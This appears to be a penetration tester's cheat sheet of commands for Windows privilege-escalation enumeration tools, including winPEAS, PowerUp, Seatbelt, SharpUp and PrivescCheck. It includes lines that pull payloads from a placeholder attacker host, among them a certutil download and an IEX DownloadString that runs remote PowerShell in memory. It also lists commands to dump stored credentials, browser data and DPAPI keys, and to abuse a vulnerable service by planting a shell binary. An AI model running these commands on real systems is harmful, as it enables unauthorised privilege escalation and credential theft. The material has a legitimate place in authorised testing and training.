WinPEAS / Automated Enumeration

https://github.com/peass-ng/PEASS-ng/releases

# .exe (recommended)
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/winPEASx64.exe -o winPEASx64.exe

# .bat (no .NET required)
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/winPEAS.bat -o winPEAS.bat

iwr http://ATTACKER_IP/winPEASx64.exe -OutFile winPEAS.exe
certutil -urlcache -f http://ATTACKER_IP/winPEASx64.exe winPEAS.exe

winPEAS.exe

winPEAS.exe quiet                  # Less output
winPEAS.exe quiet systeminfo       # System info only
winPEAS.exe quiet servicesinfo     # Services only
winPEAS.exe quiet userinfo         # User info only
winPEAS.exe quiet networkinfo      # Network only
winPEAS.exe quiet applicationsinfo # Applications
winPEAS.exe quiet windowscreds     # Windows credentials
winPEAS.exe quiet browserinfo      # Browser data
winPEAS.exe quiet filesinfo        # Interesting files

winPEAS.exe > winpeas_output.txt

https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1

. .\PowerUp.ps1

IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/PowerUp.ps1')

Invoke-AllChecks

Get-UnquotedService
Get-ModifiableService
Get-ModifiableServiceFile
Get-RegistryAlwaysInstallElevated
Get-RegistryAutoLogon
Get-ModifiablePath
Get-CurrentUserTokenGroupSid

Invoke-ServiceAbuse -Name 'VulnService'
Write-ServiceBinary -Name 'VulnService' -Path C:\Windows\Temp\shell.exe

https://github.com/GhostPack/Seatbelt

Seatbelt.exe -group=all

Seatbelt.exe -group=system       # System info
Seatbelt.exe -group=user         # User info
Seatbelt.exe -group=misc         # Misc checks
Seatbelt.exe -group=chromium     # Chromium-based browser data

Seatbelt.exe TokenPrivileges
Seatbelt.exe InterestingFiles
Seatbelt.exe CredEnum
Seatbelt.exe WindowsVault
Seatbelt.exe DpapiMasterKeys

https://github.com/GhostPack/SharpUp

SharpUp.exe audit

https://github.com/itm4n/PrivescCheck

. .\PrivescCheck.ps1
Invoke-PrivescCheck
Invoke-PrivescCheck -Extended    # More checks
Invoke-PrivescCheck -Report PrivescCheck_report -Format HTML

https://github.com/411Hall/JAWS

. .\jaws-enum.ps1